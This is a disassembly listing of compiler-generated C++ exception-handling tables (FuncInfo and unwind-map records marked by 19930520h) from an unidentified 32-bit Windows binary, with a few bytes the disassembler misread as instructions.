		dd 4, 439038h, 0FFFFFFFFh, 439040h, 2 dup(0)
dword_43F7E8	dd 19930520h, 24h, 43F808h, 5 dup(0)		dd 0FFFFFFFFh, 439070h,	0
		dd offset loc_439078
		dd 1, 439083h, 2, 43908Eh, 3, 439099h, 4, 4390A7h, 5, 4390B5h
		dd 6, 4390C3h, 7, 4390D1h, 8, 4390DFh, 9, 4390EDh, 0Ah
		dd 4390FBh, 0Bh, 439109h, 0Ch, 439117h,	0Dh, 439125h, 0Eh
		dd 439133h, 0Fh, 439141h, 10h, 43914Fh,	11h, 43915Dh, 11h
		dd 439165h, 11h, 43916Dh, 11h, 439175h,	11h, 43917Dh, 11h
		dd 439185h, 11h, 43918Dh, 11h, 439195h,	11h, 43919Dh, 11h
		dd 4391A5h, 11h, 4391ADh, 11h, 4391B5h,	11h, 4391BDh, 11h
		dd 4391C5h, 11h, 4391CDh, 11h, 4391D5h,	11h, 4391DDh, 11h
		dd 4391E5h, 8 dup(0)
dword_43F948	dd 19930520h, 11h, 43F968h, 5 dup(0)		dd 0FFFFFFFFh, 439260h,	0
		dd offset loc_439268
		dd 1, 439273h, 2, 43927Eh, 3, 439289h, 4, 439297h, 5, 4392A5h
		dd 6, 4392B3h, 7, 4392C1h, 8, 4392CFh, 9, 4392DDh, 0Ah
		dd 4392EBh, 0Bh, 4392F9h, 0Ch, 439307h,	0Dh, 439315h, 0Eh
		dd 439323h, 0Fh, 439331h, 4 dup(0)
dword_43FA00	dd 19930520h, 38h, 43FA20h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_43939B
		dd 1, 4393A6h, 0
		dd offset loc_4393B1
		dd 0
		dd offset loc_4393BC
		dd 0
		dd offset loc_4393C7
		dd 0
		dd offset loc_4393D2
		dd 0
		dd offset loc_4393DD
		dd 0
		dd offset loc_4393E8
		dd 0
		dd offset loc_4393F3
		dd 9, 4393FEh, 0
		dd offset loc_439409
		dd 0
		dd offset loc_439414
		dd 0
		dd offset loc_43941F
		dd 0
		dd offset loc_43942A
		dd 0Eh,	439435h, 0Eh, 439443h, 0Eh, 439451h, 0Eh, 43945Ch
		dd 0Eh,	43946Ah, 0Eh, 439478h, 0Eh, 439483h, 0Eh, 43948Eh
		dd 0
		dd offset loc_439499
		dd 0
		dd offset loc_4394A4
		dd 0
		dd offset loc_4394B2
		dd 0
; ---------------------------------------------------------------------------
		rcl	byte ptr [ebx+eax*2+1A00h], 0
		retf
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 1Bh,	4394D6h, 0
		dd offset loc_4394E1
		dd 1Dh,	4394ECh, 0
		dd offset loc_4394F7
		dd 1Fh,	439502h, 0
		dd offset loc_43950D
		dd 0
		dd offset loc_439518
		dd 0
		dd offset loc_439523
		dd 0
		dd offset loc_43952E
		dd 0
		dd offset loc_439539
		dd 25h,	439544h, 26h, 43954Fh, 0
		dd offset loc_43954F
		dd 28h,	439544h, 0
		dd offset loc_43955A
		dd 0
		dd offset loc_439565
		dd 2Bh,	439570h, 2Ch, 43957Bh, 0
		dd offset loc_43957B
		dd 2Eh,	439570h, 2Eh, 439586h, 0
		dd offset loc_439591
		dd 31h,	43959Ch, 0
		dd offset loc_4395A7
		dd 0
		dd offset loc_4395B2
		dd 34h,	4395BDh, 35h, 4395C8h, 34h, 4395C8h, 0Ch dup(0)
dword_43FC10	dd 19930520h, 1, 43FC30h, 5 dup(0)		dd 0FFFFFFFFh, 439670h,	2 dup(0)
dword_43FC40	dd 19930520h, 1, 43FC60h, 5 dup(0)		dd 0FFFFFFFFh, 439690h,	2 dup(0)
dword_43FC70	dd 19930520h, 6, 43FC90h, 5 dup(0)		dd 0FFFFFFFFh, 4396B0h,	0
		dd offset loc_4396B8
		dd 1, 4396C3h, 2, 4396CEh, 3, 4396D9h, 4, 4396E4h, 2 dup(0)
dword_43FCC8	dd 19930520h, 6, 43FCE8h, 5 dup(0)		dd 0FFFFFFFFh, 439710h,	0
		dd offset loc_439718
		dd 1, 439723h, 2, 43972Eh, 3, 439739h, 4, 439744h, 2 dup(0)
dword_43FD20	dd 19930520h, 0Ah, 43FD40h, 5 dup(0)		dd 0FFFFFFFFh, 439770h,	0FFFFFFFFh, 439778h, 0FFFFFFFFh
		dd 439780h, 0FFFFFFFFh,	439788h, 0FFFFFFFFh, 439790h, 0FFFFFFFFh
		dd 439798h, 0FFFFFFFFh,	4397A0h, 0FFFFFFFFh, 4397A8h, 0FFFFFFFFh
		dd 4397B0h, 0FFFFFFFFh,	4397B8h, 4 dup(0)
dword_43FDA0	dd 19930520h, 0Eh, 43FDC0h, 5 dup(0)		dd 0FFFFFFFFh, 4397E0h,	0
		dd offset loc_4397E8
		dd 0FFFFFFFFh, 4397F3h,	0FFFFFFFFh, 4397FBh, 0FFFFFFFFh
		dd 439803h, 0FFFFFFFFh,	43980Bh, 5, 439816h, 0FFFFFFFFh
		dd 43981Eh, 0FFFFFFFFh,	439826h, 0FFFFFFFFh, 43982Eh, 9
		dd 439839h, 0FFFFFFFFh,	439841h, 0Bh, 439849h, 0Ch, 439851h
		dd 4 dup(0)
dword_43FE40	dd 19930520h, 2, 43FE60h, 5 dup(0)		dd 0FFFFFFFFh, 439898h,	0
		dd offset loc_439890
		dd 2 dup(0)
dword_43FE78	dd 19930520h, 2, 43FE98h, 5 dup(0)		dd 0FFFFFFFFh, 4398D0h,	0
		dd offset loc_4398D8
		align 10h
dword_43FEB0	dd 19930520h, 1, 43FED0h, 5 dup(0)		dd 0FFFFFFFFh, 4398F0h,	2 dup(0)
dword_43FEE0	dd 19930520h, 7, 43FF00h, 5 dup(0)		dd 0FFFFFFFFh, 439910h,	0
		dd offset loc_439918
		dd 1, 439923h, 2, 43992Eh, 2, 439936h, 4, 43993Eh, 5, 439946h
		dd 2 dup(0)
dword_43FF40	dd 19930520h, 4, 43FF60h, 5 dup(0)		dd 0FFFFFFFFh, 439970h,	0
		dd offset loc_43997B
		dd 1, 439986h, 2, 439991h, 2 dup(0)
dword_43FF88	dd 19930520h, 4, 43FFA8h, 5 dup(0)		dd 0FFFFFFFFh, 4399C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 99h,	43h, 0
		dd 1, 4399D6h, 2, 4399E1h, 2 dup(0)
dword_43FFD0	dd 19930520h, 2, 43FFF0h, 5 dup(0)		dd 0FFFFFFFFh, 439A10h,	0FFFFFFFFh, 439A18h, 2 dup(0)
dword_440008	dd 19930520h, 1, 440028h, 5 dup(0)		dd 0FFFFFFFFh, 439A30h,	2 dup(0)
dword_440038	dd 19930520h, 1, 440058h, 5 dup(0)		dd 0FFFFFFFFh, 439A50h,	2 dup(0)
dword_440068	dd 19930520h, 2, 440088h, 5 dup(0)		dd 0FFFFFFFFh, 439A70h,	0
		dd offset loc_439A78
		align 10h
dword_4400A0	dd 19930520h, 3, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439A90h,	0
		dd offset loc_439A98
		dd 1, 439AA3h, 2 dup(0)
dword_4400E0	dd 19930520h, 3, 440100h, 5 dup(0)		dd 0FFFFFFFFh, 439AD0h,	0
		dd offset loc_439AD8
		dd 1, 439AE0h, 2 dup(0)
dword_440120	dd 19930520h, 1, 440140h, 5 dup(0)		dd 0FFFFFFFFh, 439B00h,	2 dup(0)
dword_440150	dd 19930520h, 4, 440170h, 5 dup(0)		dd 0FFFFFFFFh, 439B20h,	0
		dd offset loc_439B28
		dd 0
		dd offset loc_439B30
		dd 0
		dd offset loc_439B3B
		dd 2 dup(0)
dword_440198	dd 19930520h, 6, 4401B8h, 5 dup(0)		dd 0FFFFFFFFh, 439B60h,	0
		dd offset loc_439B68
		dd 1, 439B70h, 2, 439B78h, 3, 439B80h, 4, 439B88h, 2 dup(0)
dword_4401F0	dd 19930520h, 3, 440210h, 5 dup(0)		dd 0FFFFFFFFh, 439BB0h,	0
		dd offset loc_439BBB
		dd 1, 439BC6h, 2 dup(0)
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439BF0h,	0
		dd offset loc_439BF8
		dd 1, 439C00h, 2, 439C08h, 2 dup(0)
dword_440278	dd 19930520h, 5, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439C30h,	0
		dd offset loc_439C38
		dd 1, 439C40h, 2, 439C48h, 3, 439C50h, 2 dup(0)
dword_4402C8	dd 19930520h, 4, 4402E8h, 5 dup(0)		dd 0FFFFFFFFh, 439C80h,	0
		dd offset loc_439C88
		dd 1, 439C93h, 2, 439C9Eh, 2 dup(0)
dword_440310	dd 19930520h, 3, 440330h, 5 dup(0)		dd 0FFFFFFFFh, 439CC0h,	0
		dd offset loc_439CC8
		dd 1, 439CD0h, 2 dup(0)
dword_440350	dd 19930520h, 1, 440370h, 5 dup(0)		dd 0FFFFFFFFh, 439CF0h,	2 dup(0)
dword_440380	dd 19930520h, 2, 4403A0h, 5 dup(0)		dd 0FFFFFFFFh, 439D10h,	0
		dd offset loc_439D18
		dd 2 dup(0)
dword_4403B8	dd 19930520h, 2, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	0
		dd offset loc_439D38
		align 10h
dword_4403F0	dd 19930520h, 3, 440410h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	0
		dd offset loc_439D5B
		dd 1, 439D66h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439D90h,	2 dup(0)
dword_440460	dd 19930520h, 1, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440490	dd 19930520h, 4, 4404B0h, 5 dup(0)		dd 0FFFFFFFFh, 439DD0h,	0
		dd offset loc_439DD8
		dd 1, 439DE3h, 2, 439DEEh, 2 dup(0)
dword_4404D8	dd 19930520h, 7, 4404F8h, 5 dup(0)		dd 0FFFFFFFFh, 439E10h,	0FFFFFFFFh, 439E18h, 0FFFFFFFFh
		dd 439E20h, 2, 439E28h,	3, 439E30h, 4, 439E38h,	0FFFFFFFFh
		dd 439E40h, 2 dup(0)
dword_440538	dd 19930520h, 1Bh, 440558h, 5 dup(0)		dd 0FFFFFFFFh, 439E70h,	0
		dd offset loc_439E78
		dd 1, 439E83h, 2, 439E91h, 3, 439E9Fh, 4, 439EADh, 5, 439EBBh
		dd 6, 439EC9h, 7, 439ED7h, 8, 439EE5h, 9, 439EF3h, 0Ah
		dd 439F01h, 0Bh, 439F0Fh, 0Ch, 439F1Dh,	0Dh, 439F2Bh, 0Eh
		dd 439F39h, 0Fh, 439F47h, 10h, 439F55h,	11h, 439F63h, 12h
		dd 439F71h, 13h, 439F7Fh, 14h, 439F8Dh,	15h, 439F9Bh, 16h
		dd 439FA9h, 17h, 439FB7h, 18h, 439FC5h,	19h, 439FD3h, 6	dup(0)
dword_440648	dd 19930520h, 1Bh, 440668h, 5 dup(0)		dd 0FFFFFFFFh, 43A050h,	0
		dd offset loc_43A058
		dd 1, 43A063h, 2, 43A071h, 3, 43A07Fh, 4, 43A08Dh, 5, 43A09Bh
		dd 6, 43A0A9h, 7, 43A0B7h, 8, 43A0C5h, 9, 43A0D3h, 0Ah
		dd 43A0E1h, 0Bh, 43A0EFh, 0Ch, 43A0FDh,	0Dh, 43A10Bh, 0Eh
		dd 43A119h, 0Fh, 43A127h, 10h, 43A135h,	11h, 43A143h, 12h
		dd 43A151h, 13h, 43A15Fh, 14h, 43A16Dh,	15h, 43A17Bh, 16h
		dd 43A189h, 17h, 43A197h, 18h, 43A1A5h,	19h, 43A1B3h, 6	dup(0)
dword_440758	dd 19930520h, 1, 440778h, 5 dup(0)		dd 0FFFFFFFFh, 43A230h,	2 dup(0)
dword_440788	dd 19930520h, 3Dh, 4407A8h, 5 dup(0)		dd 0FFFFFFFFh, 43A250h,	0
		dd offset loc_43A25B
		dd 1, 43A266h, 2, 43A274h, 3, 43A282h, 4, 43A290h, 5, 43A29Eh
		dd 6, 43A2ACh, 7, 43A2BAh, 8, 43A2C8h, 9, 43A2D6h, 0Ah
		dd 43A2E4h, 0Bh, 43A2F2h, 0Ch, 43A300h,	0Dh, 43A30Eh, 0Eh
		dd 43A31Ch, 0Fh, 43A32Ah, 10h, 43A338h,	11h, 43A346h, 12h
		dd 43A354h, 13h, 43A362h, 14h, 43A370h,	15h, 43A37Eh, 16h
		dd 43A38Ch, 17h, 43A39Ah, 18h, 43A3A8h,	19h, 43A3B6h, 1Ah
		dd 43A3C4h, 1Bh, 43A3D2h, 1Ch, 43A3E0h,	1Dh, 43A3EEh, 1Eh
		dd 43A3FCh, 1Fh, 43A40Ah, 20h, 43A418h,	21h, 43A426h, 22h
		dd 43A434h, 23h, 43A442h, 24h, 43A450h,	25h, 43A45Eh, 26h
		dd 43A46Ch, 27h, 43A47Ah, 28h, 43A488h,	29h, 43A496h, 2Ah
		dd 43A4A4h, 2Bh, 43A4B2h, 2Ch, 43A4C0h,	2Dh, 43A4CEh, 2Eh
		dd 43A4DCh, 2Fh, 43A4EAh, 30h, 43A4F8h,	31h, 43A506h, 32h
		dd 43A514h, 33h, 43A522h, 34h, 43A530h,	35h, 43A53Eh, 36h
		dd 43A54Ch, 37h, 43A55Ah, 38h, 43A568h,	39h, 43A576h, 3Ah
		dd 43A584h, 3Bh, 43A592h, 0Eh dup(0)
dword_4409C8	dd 19930520h, 4, 4409E8h, 5 dup(0)		dd 0FFFFFFFFh, 43A680h,	0
		dd offset loc_43A68B
		dd 1, 43A696h, 2, 43A6A1h, 2 dup(0)
dword_440A10	dd 19930520h, 6, 440A30h, 5 dup(0)		dd 0FFFFFFFFh, 43A6D0h,	0
		dd offset loc_43A6DB
		dd 1, 43A6E6h, 2, 43A6F1h, 3, 43A6FFh, 4, 43A70Dh, 2 dup(0)
dword_440A68	dd 19930520h, 4, 440A88h, 5 dup(0)		dd 0FFFFFFFFh, 43A740h,	0
		dd offset loc_43A74E
		dd 1, 43A75Ch, 2, 43A76Ah, 2 dup(0)
dword_440AB0	dd 19930520h, 5, 440AD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A7A0h,	0
		dd offset loc_43A7AB
		dd 1, 43A7B6h, 2, 43A7C1h, 3, 43A7CFh, 2 dup(0)
dword_440B00	dd 19930520h, 5, 440B20h, 5 dup(0)		dd 0FFFFFFFFh, 43A800h,	0
		dd offset loc_43A80B
		dd 1, 43A816h, 2, 43A821h, 3, 43A82Fh, 2 dup(0)
dword_440B50	dd 19930520h, 1, 440B70h, 5 dup(0)		dd 0FFFFFFFFh, 43A860h,	2 dup(0)
dword_440B80	dd 19930520h, 1, 440BA0h, 5 dup(0)		dd 0FFFFFFFFh, 43A880h,	2 dup(0)
dword_440BB0	dd 19930520h, 1, 440BD0h, 5 dup(0)		dd 0FFFFFFFFh, 43A8A0h,	2 dup(0)
dword_440BE0	dd 19930520h, 2, 440C00h, 5 dup(0)		dd 0FFFFFFFFh, 43A8C0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 43h, 0
		dd 2 dup(0)
dword_440C18	dd 19930520h, 4, 440C38h, 5 dup(0)		dd 0FFFFFFFFh, 43A8F0h,	0
		dd offset loc_43A8FB
		dd 1, 43A906h, 2, 43A911h, 2 dup(0)
dword_440C60	dd 19930520h, 4, 440C80h, 5 dup(0)		dd 0FFFFFFFFh, 43A940h,	0
		dd offset loc_43A94B
		dd 1, 43A956h, 2, 43A961h, 2 dup(0)
dword_440CA8	dd 19930520h, 6, 440CC8h, 5 dup(0)		dd 0FFFFFFFFh, 43A990h,	0
		dd offset loc_43A99B
		dd 1, 43A9A6h, 2, 43A9B1h, 3, 43A9BFh, 4, 43A9CDh, 2 dup(0)
dword_440D00	dd 19930520h, 4, 440D20h, 5 dup(0)		dd 0FFFFFFFFh, 43AA00h,	0
		dd offset loc_43AA0E
		dd 1, 43AA1Ch, 2, 43AA2Ah, 2 dup(0)
dword_440D48	dd 19930520h, 5, 440D68h, 5 dup(0)		dd 0FFFFFFFFh, 43AA60h,	0
		dd offset loc_43AA6B
		dd 1, 43AA76h, 2, 43AA81h, 3, 43AA8Fh, 2 dup(0)
dword_440D98	dd 19930520h, 5, 440DB8h, 5 dup(0)		dd 0FFFFFFFFh, 43AAC0h,	0
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0AAh, 43h, 0
		dd 1, 43AAD6h, 2, 43AAE1h, 3, 43AAEFh, 2 dup(0)
dword_440DE8	dd 19930520h, 1, 440E08h, 5 dup(0)		dd 0FFFFFFFFh, 43AB20h,	2 dup(0)
dword_440E18	dd 19930520h, 1, 440E38h, 5 dup(0)		dd 0FFFFFFFFh, 43AB40h,	2 dup(0)
dword_440E48	dd 19930520h, 1, 440E68h, 5 dup(0)		dd 0FFFFFFFFh, 43AB60h,	2 dup(0)
dword_440E78	dd 19930520h, 2, 440E98h, 5 dup(0)		dd 0FFFFFFFFh, 43AB80h,	0
		dd offset loc_43AB8B
		align 10h
dword_440EB0	dd 19930520h, 4, 440ED0h, 5 dup(0)		dd 0FFFFFFFFh, 43ABB0h,	0
		dd offset loc_43ABBB
		dd 1, 43ABC6h, 2, 43ABD1h, 2 dup(0)
dword_440EF8	dd 19930520h, 1, 440F18h, 5 dup(0)		dd 0FFFFFFFFh, 43AC00h,	2 dup(0)
dword_440F28	dd 19930520h, 2, 440F48h, 5 dup(0)		dd 0FFFFFFFFh, 43AC20h,	0
		dd offset loc_43AC2B
		align 10h
dword_440F60	dd 19930520h, 1, 440F80h, 5 dup(0)		dd 0FFFFFFFFh, 43AC50h,	2 dup(0)
dword_440F90	dd 19930520h, 1, 440FB0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC70h,	2 dup(0)
dword_440FC0	dd 19930520h, 2, 440FE0h, 5 dup(0)		dd 0FFFFFFFFh, 43AC90h,	0
		dd offset loc_43AC9B
		dd 2 dup(0)
dword_440FF8	dd 19930520h, 1, 441018h, 5 dup(0)		dd 0FFFFFFFFh, 43ACC0h,	2 dup(0)
dword_441028	dd 19930520h, 3, 441048h, 5 dup(0)		dd 0FFFFFFFFh, 43ACE0h,	0
		dd offset loc_43ACF7
		dd 1, 43ACFFh, 2 dup(0)
dword_441068	dd 19930520h, 1, 441088h, 5 dup(0)		dd 0FFFFFFFFh, 43AD20h,	2 dup(0)
dword_441098	dd 19930520h, 4, 4410B8h, 5 dup(0)		dd 0FFFFFFFFh, 43AD48h,	0
		dd offset sub_43AD40
		dd 0
		dd offset loc_43AD5F
		dd 2, 43AD67h, 2 dup(0)
dword_4410E0	dd 19930520h, 6, 441100h, 5 dup(0)		dd 0FFFFFFFFh, 43AD90h,	0FFFFFFFFh, 43AD98h, 0FFFFFFFFh
		dd 43ADA0h, 0FFFFFFFFh,	43ADA8h, 0FFFFFFFFh, 43ADB0h, 0FFFFFFFFh
		dd 43ADB8h, 2 dup(0)
dword_441138	dd 19930520h, 1Ah, 441158h, 5 dup(0)		dd 0FFFFFFFFh, 43ADE0h,	0
		dd offset loc_43ADEB
		dd 1, 43ADF6h, 2, 43AE01h, 3, 43AE0Ch, 4, 43AE17h, 5, 43AE1Fh
		dd 5, 43AE2Ah, 5, 43AE35h, 5, 43AE43h, 5, 43AE4Eh, 5, 43AE59h
		dd 5, 43AE67h, 5, 43AE72h, 5, 43AE7Dh, 5, 43AE88h, 5, 43AE96h
		dd 5, 43AEA1h, 5, 43AEACh, 5, 43AEBAh, 5, 43AEC5h, 5, 43AED0h
		dd 5, 43AEDEh, 5, 43AEE9h, 5, 43AEF4h, 5, 43AEFFh, 6 dup(0)
dword_441240	dd 19930520h, 4, 441260h, 5 dup(0)		dd 0FFFFFFFFh, 43AF70h,	0
		dd offset loc_43AF78
		dd 1, 43AF83h, 2, 43AF8Eh, 2 dup(0)
dword_441288	dd 19930520h, 4, 4412A8h, 5 dup(0)		dd 0FFFFFFFFh, 43AFB0h,	0
		dd offset loc_43AFB8
		dd 1, 43AFC3h, 2, 43AFCEh, 2 dup(0)
dword_4412D0	dd 19930520h, 6, 4412F0h, 5 dup(0)		dd 0FFFFFFFFh, 43AFF0h,	0
		dd offset loc_43AFF8
		dd 1, 43B003h, 2, 43B00Eh, 3, 43B019h, 4, 43B024h, 2 dup(0)
dword_441328	dd 19930520h, 6, 441348h, 5 dup(0)		dd 0FFFFFFFFh, 43B050h,	0
		dd offset loc_43B058
		dd 1, 43B063h, 2, 43B06Eh, 3, 43B079h, 4, 43B084h, 2 dup(0)
dword_441380	dd 19930520h, 6, 4413A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B0B0h,	0FFFFFFFFh, 43B0BBh, 0FFFFFFFFh
		dd 43B0C6h, 2, 43B0D1h,	3, 43B0DCh, 2, 43B0E7h,	2 dup(0)
dword_4413D8	dd 19930520h, 3, 4413F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B110h,	0FFFFFFFFh, 43B118h, 0FFFFFFFFh
		dd 43B120h, 2 dup(0)
dword_441418	dd 19930520h, 5, 441438h, 5 dup(0)		dd 0FFFFFFFFh, 43B140h,	0FFFFFFFFh, 43B148h, 0FFFFFFFFh
		dd 43B150h, 0FFFFFFFFh,	43B158h, 0FFFFFFFFh, 43B160h, 2	dup(0)
dword_441468	dd 19930520h, 0Ch, 441488h, 5 dup(0)		dd 0FFFFFFFFh, 43B180h,	0
		dd offset loc_43B188
		dd 0FFFFFFFFh, 43B190h,	0FFFFFFFFh, 43B198h, 0FFFFFFFFh
		dd 43B1A0h, 0FFFFFFFFh,	43B1A8h, 5, 43B1B0h, 0FFFFFFFFh
		dd 43B1B8h, 0FFFFFFFFh,	43B1C0h, 0FFFFFFFFh, 43B1C8h, 0FFFFFFFFh
		dd 43B1D0h, 0FFFFFFFFh,	43B1D8h, 4 dup(0)
dword_4414F8	dd 19930520h, 2, 441518h, 1, 441528h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 441540h, 4	dup(0)
		dd offset loc_41EE2C
		dd 2 dup(0)
dword_441558	dd 19930520h, 0Ah, 441578h, 5 dup(0)		dd 0FFFFFFFFh, 43B220h,	0
		dd offset loc_43B22B
		dd 1, 43B236h, 2, 43B241h, 3, 43B24Ch, 3, 43B257h, 3, 43B262h
		dd 3, 43B26Dh, 3, 43B278h, 3, 43B283h, 4 dup(0)
dword_4415D8	dd 19930520h, 2, 4415F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B2C0h,	0
		dd offset loc_43B2C8
		align 10h
dword_441610	dd 19930520h, 3, 441630h, 5 dup(0)		dd 0FFFFFFFFh, 43B2E0h,	0FFFFFFFFh, 43B2EBh, 1,	43B2F6h
		dd 2 dup(0)
dword_441650	dd 19930520h, 1, 441670h, 5 dup(0)		dd 0FFFFFFFFh, 43B320h,	2 dup(0)
dword_441680	dd 19930520h, 2, 4416A0h, 5 dup(0)		dd 0FFFFFFFFh, 43B340h,	0
		dd offset loc_43B34B
		dd 2 dup(0)
dword_4416B8	dd 19930520h, 16h, 4416D8h, 5 dup(0)		dd 0FFFFFFFFh, 43B370h,	0
		dd offset loc_43B37B
		dd 0
		dd offset loc_43B383
		dd 0
		dd offset loc_43B38B
		dd 3, 43B393h, 4, 43B39Bh, 0
		dd offset loc_43B3A3
		dd 6, 43B3ABh, 7, 43B3B3h, 0
		dd offset loc_43B3BB
		dd 9, 43B3C3h, 0Ah, 43B3CBh, 0
		dd offset loc_43B3D3
		dd 0Ch,	43B3DBh, 0Dh, 43B3E3h, 0
		dd offset loc_43B3EB
		dd 0Fh,	43B3F3h, 0
		dd offset loc_43B3FB
		dd 11h,	43B403h, 0
		dd offset loc_43B40B
		dd 13h,	43B413h, 13h, 43B41Bh, 6 dup(0)
dword_4417A0	dd 19930520h, 1, 4417C0h, 5 dup(0)		dd 0FFFFFFFFh, 43B460h,	2 dup(0)
dword_4417D0	dd 19930520h, 1, 4417F0h, 5 dup(0)		dd 0FFFFFFFFh, 43B490h,	2 dup(0)
dword_441800	dd 19930520h, 5, 441820h, 5 dup(0)		dd 0FFFFFFFFh, 43B4C0h,	0FFFFFFFFh, 43B4C8h, 0FFFFFFFFh
		dd 43B4D0h, 0FFFFFFFFh,	43B4D8h, 0FFFFFFFFh, 43B4E0h, 2	dup(0)
dword_441850	dd 19930520h, 0Bh, 441870h, 5 dup(0)		dd 0FFFFFFFFh, 43B500h,	0FFFFFFFFh, 43B50Bh, 0FFFFFFFFh
		dd 43B521h, 0FFFFFFFFh,	43B52Ch, 0FFFFFFFFh, 43B537h, 0FFFFFFFFh
		dd 43B542h, 0FFFFFFFFh,	43B54Dh, 0FFFFFFFFh, 43B558h, 0FFFFFFFFh
		dd 43B563h, 0FFFFFFFFh,	43B56Eh, 0FFFFFFFFh, 43B516h, 4	dup(0)
dword_4418D8	dd 19930520h, 5, 4418F8h, 5 dup(0)		dd 0FFFFFFFFh, 43B5B0h,	0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
		dd 43B5C0h, 0FFFFFFFFh,	43B5C8h, 0FFFFFFFFh, 43B5D0h, 2	dup(0)
dword_441928	dd 19930520h, 15h, 441948h, 5 dup(0)		dd 0FFFFFFFFh, 43B5F0h,	0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
		dd 43B603h, 0FFFFFFFFh,	43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
		dd 43B61Bh, 0FFFFFFFFh,	43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
		dd 43B636h, 0FFFFFFFFh,	43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
		dd 43B651h, 0FFFFFFFFh,	43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
		dd 43B669h, 0FFFFFFFFh,	43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
		dd 43B684h, 0FFFFFFFFh,	43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
		dd 43B69Ch, 6 dup(0)
dword_441A08	dd 19930520h, 1, 441A28h, 5 dup(0)		dd 0FFFFFFFFh, 43B6E0h,	2 dup(0)
dword_441A38	dd 19930520h, 5, 441A58h, 5 dup(0)		dd 0FFFFFFFFh, 43B700h,	0
		dd offset loc_43B708
		dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88	dd 19930520h, 5, 441AA8h, 5 dup(0)		dd 0FFFFFFFFh, 43B750h,	0
		dd offset loc_43B758
		dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8	dd 19930520h, 1, 441AF8h, 5 dup(0)		dd 0FFFFFFFFh, 43B7A0h,	2 dup(0)
dword_441B08	dd 19930520h, 1, 441B28h, 5 dup(0)		dd 0FFFFFFFFh, 43B7C0h,	2 dup(0)
dword_441B38	dd 19930520h, 1, 441B58h, 5 dup(0)		dd 0FFFFFFFFh, 43B7E0h,	2 dup(0)
dword_441B68	dd 19930520h, 1, 441B88h, 5 dup(0)		dd 0FFFFFFFFh, 43B800h,	2 dup(0)
dword_441B98	dd 19930520h, 1, 441BB8h, 5 dup(0)		dd 0FFFFFFFFh, 43B820h,	2 dup(0)
dword_441BC8	dd 19930520h, 1, 441BE8h, 5 dup(0)		dd 0FFFFFFFFh, 43B840h,	2 dup(0)
dword_441BF8	dd 19930520h, 1, 441C18h, 5 dup(0)		dd 0FFFFFFFFh, 43B860h,	2 dup(0)
dword_441C28	dd 19930520h, 1, 441C48h, 5 dup(0)		dd 0FFFFFFFFh, 43B880h,	2 dup(0)
dword_441C58	dd 19930520h, 6, 441C78h, 5 dup(0)		dd 0FFFFFFFFh, 43B8A0h,	0
		dd offset loc_43B8A8
		dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0	dd 19930520h, 6, 441CD0h, 5 dup(0)		dd 0FFFFFFFFh, 43B900h,	0
		dd offset loc_43B908
		dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08	dd 19930520h, 3, 441D28h, 5 dup(0)		dd 0FFFFFFFFh, 43B960h,	0
		dd offset loc_43B968
		dd 1, 43B976h, 2 dup(0)
dword_441D48	dd 19930520h, 16h, 441D68h, 5 dup(0)		dd 0FFFFFFFFh, 43B9A0h,	0
		dd offset loc_43B9AB
		dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
		dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
		dd 43BA19h, 2, 43BA24h,	0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
		dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh,	0Fh, 43BA66h, 0Fh
		dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h,	6 dup(0)
dword_441E30	dd 19930520h, 1, 441E50h, 5 dup(0)		dd 0FFFFFFFFh, 43BAE0h,	2 dup(0)
dword_441E60	dd 19930520h, 1, 441E80h, 5 dup(0)		dd 0FFFFFFFFh, 43BB00h,	2 dup(0)
dword_441E90	dd 19930520h, 1, 441EB0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB20h,	2 dup(0)
dword_441EC0	dd 19930520h, 1, 441EE0h, 5 dup(0)		dd 0FFFFFFFFh, 43BB40h,	2 dup(0)
dword_441EF0	dd 19930520h, 1, 441F10h, 5 dup(0)		dd 0FFFFFFFFh, 43BB60h,	2 dup(0)
dword_441F20	dd 19930520h, 2, 441F40h, 1, 441F50h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
